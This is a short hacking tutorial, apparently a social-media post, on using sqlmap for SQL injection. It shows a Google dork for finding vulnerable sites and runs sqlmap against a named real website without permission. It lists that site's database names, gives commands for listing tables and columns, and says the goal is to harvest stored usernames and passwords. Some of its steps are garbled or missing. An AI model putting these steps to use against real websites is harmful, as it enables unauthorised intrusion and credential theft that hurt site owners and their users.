? Exploit Website Databases Using SQLmap ?
? Exploit Website Databases Using SQLmap ?
? Exploit Website Databases Using SQLmap ?
✨SQLmap is one of the most famous tools for SQL injection. It is pre-installed in Kali Linux so no need to
download it from anywhere.
✨SQLi is a common attack where the attacker injects and executes malicious SQL requests in order to
get hold of the web databases. These attacks are common in vulnerable websites that use SQL RDBMS
to store databases
✅ Requirements
⭕️Kali
✅ Steps
First of all we have to get a vulnerable website to perform the attack. So we'll use Google Dorking. In
simple words, it means that using Google search engine, we can use some special codes in order to get
some security holes in websites. Here I'm gonna use this Dork to get SQLi vulnerable websites
inurl:index.php?id=
This will have many results. I've chosen the following website
http://www.asfaa.org/members.php?id=1
http://www.asfaa.org/members.php?id=1*
⭕️Fire up Sqlmap 🔥
sqlmap -u yoururl
⚠️Make sure to replace the Asterix with the original value and give the full URL
In my case, I typed
sqlmap -u http://www.asfaa.org/members.php?id=1
It'll start injecting malicious SQL requests. Once done, you'll notice the changes
⭕️Exploit databases
information_schema
db83231_acolop
db83231_asfaa
Now, you can extract the tables of any of the databases using the command
For columns,
sqlmap -u yoururl -D databasename -T tablename --columns
ℹ️One main advantage of SQLi is that some websites store usernames and passwords in SQL databases
that can be exploited